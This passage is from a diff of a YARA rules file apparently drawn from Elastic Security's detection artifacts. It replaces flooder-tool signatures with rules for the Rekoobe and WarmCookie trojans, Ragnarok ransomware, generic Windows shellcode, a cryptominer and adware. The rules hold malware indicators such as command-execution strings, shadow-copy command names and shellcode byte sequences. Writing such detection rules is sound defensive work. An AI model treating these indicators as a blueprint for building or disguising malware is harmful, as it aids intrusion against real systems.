-		hash = "bf6f3ffaf94444a09b69cbd4c8c0224d7eb98eb41514bdc3f58c1fb90ac0e705"
-		logic_hash = "b74f5fad3c7219038e51eb4fa12fb9d55d7f65a9f4bab0adff8609fabb0afdab"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Rekoobe.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "50b73742726b0b7e00856e288e758412c74371ea2f0eaf75b957d73dfb396fd7"
+		logic_hash = "a3b46d29fa51dd6a911cb9cb0e67e9d57d3f3b6697dc8edcc4d82f09d9819a92"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f6e7d6e9c03c8ce3e14b214fe268e7aab2e15c1b4378fe253021497fb9a884e6"
+		fingerprint = "acb8f0fb7a7b0c5329afeadb70fc46ab72a7704cdeef64e7575fbf2c2dd3dbe2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -105277,28 +109991,28 @@ rule ELASTIC_Linux_Hacktool_Flooder_Af9F75E6 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C4 48 89 E0 48 83 C0 07 48 C1 E8 03 48 C1 E0 03 48 89 45 C0 C7 45 B4 14 00 }
+		$a = { F0 89 D0 31 D8 21 F0 31 D8 03 45 F0 89 CF C1 CF 1B 01 F8 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_1Bf0E994 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Rekoobe_Ab8Ba790 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
 		author = "Elastic Security"
-		id = "1bf0e994-2648-4dbb-9b9c-b86b9a347700"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "ab8ba790-d2dd-4756-af5c-6f78ba10c92d"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L120-L138"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1ea2dc13eec0d7a8ec20307f5afac8e9344d827a6037bb96a54ad7b12f65b59c"
-		logic_hash = "2c1099b8078ac306f7cb67be5b5b5e34f57414b9aa26bdd6c26d3636c80846cd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Rekoobe.yar#L121-L139"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2aee0c74d9642ffab1f313179c26400acf60d7cbd2188bade28534d403f468d4"
+		logic_hash = "2a7a71712ad3f756a2dc53ec80bd9fb625f7c679fd9566945ebfeb392b9874a9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1f844c349b47dd49a75d50e43b6664e9d2b95c362efb730448934788b6bddb79"
+		fingerprint = "decdd02a583562380eda405dcb892d38558eb868743ebc44be592f4ae95b5971"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -105306,202 +110020,281 @@ rule ELASTIC_Linux_Hacktool_Flooder_1Bf0E994 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 05 88 10 48 8B 45 B8 0F B6 10 83 E2 0F 83 CA 40 88 10 48 8B }
+		$a = { DB F9 66 0F 71 D1 08 66 0F 67 DD 66 0F DB E3 66 0F 71 D3 08 66 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_D710A5Da : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Warmcookie_7D32Fa90 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Windows Trojan Warmcookie (Windows.Trojan.WarmCookie)"
 		author = "Elastic Security"
-		id = "d710a5da-26bf-4f6a-bf51-9cdac1f83aa3"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L140-L158"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ba895a9c449bf9bf6c092df88b6d862a3e8ed4079ef795e5520cb163a45bcdb4"
-		logic_hash = "118a29cc0ccd191181dabc134de282ba134e041113faaa4d95e0aa201646438b"
+		id = "7d32fa90-c6e0-4a4b-bc21-51d82c57721e"
+		date = "2024-04-29"
+		modified = "2024-05-08"
+		reference = "https://www.elastic.co/security-labs/dipping-into-danger"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_WarmCookie.yar#L1-L32"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ccde1ded028948f5cd3277d2d4af6b22fa33f53abde84ea2aa01f1872fad1d13"
+		logic_hash = "ed3be6e5c6127ef87f9ef6fe35b17815b96706e8e73a393ee9b0a8e3b0cd8f66"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e673aa8785c7076f4cced9f12b284a2927b762fe1066aba8d6a5ace775f3480c"
+		fingerprint = "ae6c81fc7b0ba16567fefa714d043556afa44bfd698f6478c21d6e6428b14858"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 74 24 48 8B 45 E0 48 83 C0 10 48 8B 08 48 8B 45 E0 48 83 C0 08 48 }
+		$seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }
+		$seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }
+		$seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D 44 24 30 45 33 C0 48 89 44 24 20 33 C9 41 8D 51 1A FF 15 83 4D 01 00 85 C0 78 22 48 8D 4C 24 30 E8 1D }
+		$seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 02 00 00 48 8D 0D 4D CA 01 00 45 33 F6 41 8B FE E8 02 4F 00 00 48 8B E8 41 B9 08 01 00 00 48 8D 44 24 }
+		$plain_str1 = "release.dll" ascii fullword
+		$plain_str2 = "\"Main Invoked.\"" ascii fullword
+		$plain_str3 = "\"Main Returned.\"" ascii fullword
+		$decrypt_str1 = "ERROR: Cannot write file" wide fullword
+		$decrypt_str2 = "OK (No output data)" wide fullword
+		$decrypt_str3 = "OK (See 'Files' tab)" wide fullword
+		$decrypt_str4 = "cmd.exe /c %ls" wide fullword
+		$decrypt_str5 = "Cookie:" wide fullword
+		$decrypt_str6 = "%ls\\*.*" wide fullword
 
 	condition:
-		all of them
+		(3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)
 }
-rule ELASTIC_Linux_Hacktool_Flooder_F434A3Fb : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Ragnarok_1Cab7Ea1 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Identifies RAGNAROK ransomware"
 		author = "Elastic Security"
-		id = "f434a3fb-e5fd-4749-8e53-fc6c80ee5406"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L160-L178"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ba895a9c449bf9bf6c092df88b6d862a3e8ed4079ef795e5520cb163a45bcdb4"
-		logic_hash = "11b173f73b87f50775be50c6b4528bd9b148ea4266297aec76ae126cab0facb0"
+		id = "1cab7ea1-8d26-4478-ab41-659c193b5baa"
+		date = "2020-05-03"
+		modified = "2021-08-23"
+		reference = "https://twitter.com/malwrhunterteam/status/1256263426441125888?s=20"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Ragnarok.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "8bae3ea4304473209fc770673b680154bf227ce30f6299101d93fe830da0fe91"
+		score = 75
+		quality = 73
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "e2a8eabb08cb99c4999e05a06d0d0dce46d7e6375a72a6a5e69d718c3d54a3ad"
+		threat_name = "Windows.Ransomware.Ragnarok"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "windows"
+
+	strings:
+		$c1 = ".ragnarok" ascii wide fullword
+
+	condition:
+		1 of ($c*)
+}
+rule ELASTIC_Windows_Ransomware_Ragnarok_7E802F95 : BETA FILE MEMORY
+{
+	meta:
+		description = "Identifies RAGNAROK ransomware"
+		author = "Elastic Security"
+		id = "7e802f95-964e-4dd9-a5d1-13a6cd73d750"
+		date = "2020-05-03"
+		modified = "2021-08-23"
+		reference = "https://twitter.com/malwrhunterteam/status/1256263426441125888?s=20"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Ragnarok.yar#L22-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "8f293cdbdc3c395e18c304dfa43d0dcdb52b18bde5b5d084190ceec70aea6cbd"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "b74e55c56a063e14608f7e8f578cc3c74ec57954df39e63e49b60c0055725d51"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "c62b3706a2024751f1346d0153381ac28057995cf95228e43affc3d1e4ad0fad"
+		threat_name = "Windows.Ransomware.Ragnarok"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { C0 48 01 45 F8 48 83 45 E8 02 83 6D E4 01 83 7D E4 00 7F E3 48 8B }
+		$d1 = { 68 04 94 42 00 FF 35 A0 77 43 00 }
+		$d2 = { 68 90 94 42 00 FF 35 A0 77 43 00 E8 8F D6 00 00 8B 40 10 50 }
 
 	condition:
-		all of them
+		1 of ($d*)
 }
-rule ELASTIC_Linux_Hacktool_Flooder_A2795A4C : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Ragnarok_Efafbe48 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Identifies RAGNAROK ransomware"
 		author = "Elastic Security"
-		id = "a2795a4c-16c0-4237-a014-3570d1edb287"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L180-L198"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9a564d6b29d2aaff960e6f84cd0ef4c701fefa2a62e2ea690106f3fdbabb0d71"
-		logic_hash = "18e15b8a417f9ff2fd9277a01eb3224c761807ce9541ece568f4525ae66eb81f"
+		id = "efafbe48-7740-4c21-b585-467f7ad76f8d"
+		date = "2020-05-03"
+		modified = "2021-08-23"
+		reference = "https://twitter.com/malwrhunterteam/status/1256263426441125888?s=20"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Ragnarok.yar#L44-L71"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "c9d203620e0e6e04d717595ca70a5e5efa74abfc11e4e732d729caab2d246c27"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "7c8bf248b159f3a140f10cd40d182fa84f334555b92306e6f44e746711b184cc"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "a1535bc01756ac9e986eb564d712b739df980ddd61cfde5a7b001849a6b07b57"
+		threat_name = "Windows.Ransomware.Ragnarok"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 48 8B 45 D8 66 89 50 04 48 8B 45 D8 0F B7 40 02 66 D1 E8 0F }
+		$a1 = "cmd_firewall" ascii fullword
+		$a2 = "cmd_recovery" ascii fullword
+		$a3 = "cmd_boot" ascii fullword
+		$a4 = "cmd_shadow" ascii fullword
+		$a5 = "readme_content" ascii fullword
+		$a6 = "readme_name" ascii fullword
+		$a8 = "rg_path" ascii fullword
+		$a9 = "cometosee" ascii fullword
+		$a10 = "&prv_ip=" ascii fullword
 
 	condition:
-		all of them
+		6 of ($a*)
 }
-rule ELASTIC_Linux_Hacktool_Flooder_678C1145 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Ragnarok_5625D3F6 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Identifies RAGNAROK ransomware"
 		author = "Elastic Security"
-		id = "678c1145-cc41-4e83-bc88-30f64da46dd3"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "5625d3f6-7071-4a09-8ddf-faa2d081b539"
+		date = "2020-05-03"
+		modified = "2021-08-23"
+		reference = "https://twitter.com/malwrhunterteam/status/1256263426441125888?s=20"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Ragnarok.yar#L73-L95"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "8c22cf9dfbeba7391f6d2370c88129650ef4c778464e676752de1d0fd9c5b34e"
+		score = 75
+		quality = 75
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "5c0a4e2683991929ff6307855bf895e3f13a61bbcc6b3c4b47d895f818d25343"
+		threat_name = "Windows.Ransomware.Ragnarok"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "windows"
+
+	strings:
+		$b1 = "prv_ip" ascii fullword
+		$b2 = "%i.%i.%i" ascii fullword
+		$b3 = "pub_ip" ascii fullword
+		$b4 = "cometosee" ascii fullword
+
+	condition:
+		all of ($b*)
+}
+rule ELASTIC_Windows_Shellcode_Generic_8C487E57 : FILE MEMORY
+{
+	meta:
+		description = "Detects Windows Shellcode Generic (Windows.Shellcode.Generic)"
+		author = "Elastic Security"
+		id = "8c487e57-4b8c-488e-a1d9-786ff935fd2c"
+		date = "2022-05-23"
+		modified = "2022-07-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L200-L218"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "559793b9cb5340478f76aaf5f81c8dbfbcfa826657713d5257dac3c496b243a6"
-		logic_hash = "5ff15c8d92bca62700bbb67aeebc41fd603687dbc0c93733955bf59375df40a1"
-		score = 60
-		quality = 45
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Shellcode_Generic.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "a86ea8e15248e83ce7322c10e308a5a24096b1d7c67f5673687563dec8229dfe"
+		score = 75
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f4f66668b45f520bc107b7f671f8c7f42073d7ff28863e846a74fbd6cac03e87"
+		fingerprint = "834caf96192a513aa93ac48fb8d2f3326bf9f08acaf7a27659f688b26e3e57e4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { C8 48 BA AB AA AA AA AA AA AA AA 48 89 C8 48 F7 E2 48 C1 EA 05 48 }
+		$a = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_3Cbdfb1F : FILE MEMORY
+rule ELASTIC_Windows_Shellcode_Generic_F27D7Beb : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Windows Shellcode Generic (Windows.Shellcode.Generic)"
 		author = "Elastic Security"
-		id = "3cbdfb1f-6c66-48be-931e-3ae609c46ff4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "f27d7beb-5ce0-4831-b1ad-320b346612c3"
+		date = "2022-06-08"
+		modified = "2022-09-29"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L220-L238"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bd40ac964f3ad2011841c7eb4bf7cab332d4d95191122e830ab031dc9511c079"
-		logic_hash = "38e8ca59bf55c32b99aa76a89f60edcf09956b7cad0b4745fab92eca327c52db"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Shellcode_Generic.yar#L20-L37"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "8530a74a002d0286711cd86545aff0bf853de6b6684473b6211d678797c3639f"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c7f5d7641ea6e780bc3045181c929be73621acfe6aec4d157f6a9e0334ba7fb9"
+		fingerprint = "3f8dd6733091ec229e1bebe9e4cd370ad47ab2e3678be4c2d9c450df731a6e5c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 5B 53 54 44 32 2E 43 20 42 59 20 53 54 41 43 4B 44 5D 20 53 }
+		$a = { 53 48 89 E3 66 83 E4 00 48 B9 [8] BA 01 00 00 00 41 B8 00 00 00 00 48 B8 [8] FF D0 48 89 DC 5B C3 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_8B63Ff02 : FILE MEMORY
+rule ELASTIC_Windows_Shellcode_Generic_29Dcbf7A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Windows Shellcode Generic (Windows.Shellcode.Generic)"
 		author = "Elastic Security"
-		id = "8b63ff02-be86-4c63-8f7b-4c70fbd8a83a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "29dcbf7a-2d3b-4e05-a2be-15623bf62d06"
+		date = "2023-05-09"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L240-L258"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a57de6cd3468f55b4bfded5f1eed610fdb2cbffbb584660ae000c20663d5b304"
-		logic_hash = "3b68353c8eeb21a3eba7a02ae76b66b4f094ec52d5309582544d247cc6548da3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Shellcode_Generic.yar#L39-L56"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "c2a81cc27e696a2e488df7d2f96784bbaed83df5783efab312fc5ccbfd524b43"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "af7a4df7e707c1b70fb2b29efe2492e6f77cdde5e8d1e6bfdf141acabc8759eb"
+		fingerprint = "e4664ec7bf7dab3fff873fe4b059e97d2defe3b50e540b96dd98481638dcdcd8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { DC 02 83 7D DC 01 0F 9F C0 84 C0 75 DF 83 7D DC 01 75 1D 66 C7 45 F6 }
+		$a1 = { FC 48 83 E4 F0 41 57 41 56 41 55 41 54 55 53 56 57 48 83 EC 40 48 83 EC 40 48 83 EC 40 48 89 E3 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_30973084 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Ccminer_18Fc60E5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Cryptominer Ccminer (Linux.Cryptominer.Ccminer)"
 		author = "Elastic Security"
-		id = "30973084-60d2-494d-a3c6-2a015a9459a0"
+		id = "18fc60e5-680c-4ff6-8a76-12cc3ae9cd3d"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L260-L278"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a22ffa748bcaaed801f48f38b26a9cfdd5e62183a9f6f31c8a1d4a8443bf62a4"
-		logic_hash = "d965a032c0fb6020c6187aa3117f7251dd8c9287c45453e3d5ae2ac62b3067bb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Ccminer.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dbb403a00c75ef2a74b41b8b58d08a6749f37f922de6cc19127a8f244d901c60"
+		logic_hash = "75db45ccbeb558409ee9398065591472d4aee0382be5980adb9d0fb41e557789"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "44fc236199ccf53107f1a617ac872f51d58a99ec242fe97b913e55b3ec9638e2"
+		fingerprint = "461e942fcaf5faba60c3dc39d8089f9d506ff2daacb2a22573fb35bcfee9b6f1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -105509,28 +110302,28 @@ rule ELASTIC_Linux_Hacktool_Flooder_30973084 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 4C 69 73 74 20 49 6D 70 6F 72 74 20 46 6F 72 20 53 6F 75 72 63 }
+		$a = { 00 68 27 52 22 02 02 32 22 22 03 5C 8B AE 00 00 00 48 03 5C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_1Cfa95Dd : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Ccminer_3C593Bc3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Cryptominer Ccminer (Linux.Cryptominer.Ccminer)"
 		author = "Elastic Security"
-		id = "1cfa95dd-e768-4071-9038-389c580741f9"
+		id = "3c593bc3-cb67-41da-bef1-aad9e73c34f7"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L280-L298"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1d88971f342e4bc4e6615e42080a3b6cec9f84912aa273c36fc46aaf86ff6771"
-		logic_hash = "f73a96cc379c8dc060bfe5668ef7e47c5bcd037b3f41c300ef20c2f2f653cb00"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Ccminer.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dbb403a00c75ef2a74b41b8b58d08a6749f37f922de6cc19127a8f244d901c60"
+		logic_hash = "94a0d33b474b3c60e926eaf06147eb0fdc56beac525f25326448bf2a5177d9c0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6ec21acb987464613830b3bbe1e2396093d269dae138c68fe77f35d88796001e"
+		fingerprint = "0a382ef73d3b5d1b1ad223c66fc367cc5b6f2b23a9758002045076234f257dfe"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -105538,86 +110331,95 @@ rule ELASTIC_Linux_Hacktool_Flooder_1Cfa95Dd : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 83 7D EC 00 7E 0F 48 8B 45 F0 0F B6 00 0F B6 C0 48 01 C3 EB 10 }
+		$a = { 20 83 5C DE C2 00 00 00 68 03 5C EB EA 00 00 00 48 03 1C DC }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_25C48456 : FILE MEMORY
+rule ELASTIC_Windows_PUP_Mediaarena_A9E3B4A1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Windows Pup Mediaarena (Windows.PUP.MediaArena)"
 		author = "Elastic Security"
-		id = "25c48456-2f83-41a8-ba37-b557014d1d86"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "a9e3b4a1-fd87-4f8f-a9d4-d93f9c018270"
+		date = "2023-06-02"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L300-L318"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "eba6f3e4f7b53e22522d82bdbdf5271c3fc701cbe07e9ecb7b4c0b85adc9d6b4"
-		logic_hash = "4ed4b901fccaed834b9908fb447da1521bf31f283ae55b6d8f6090814cf8fcd2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_PUP_MediaArena.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c071e0b67e4c105c87b876183900f97a4e8bc1a7c18e61c028dee59ce690b1ac"
+		logic_hash = "8e52b29f2848498aae2fd7ad35494362d6c07f0e752b628840a256923aca32c7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0c79f8eaacd2aa1fa60d5bfb7b567a9fc3e65068be1516ca723cb1394bb564ce"
+		fingerprint = "0535228889b1d2a7c317a7ce939621d3d20e2a454ec6d31915c25884931d62b9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 F8 48 83 6D E0 01 48 83 7D E0 00 75 DD 48 8B 45 F0 C9 C3 55 48 }
+		$a1 = "Going to change default browser to be MS Edge ..." wide
+		$a2 = "https://www.searcharchiver.com/eula" wide
+		$a3 = "Current default browser is unchanged!" wide
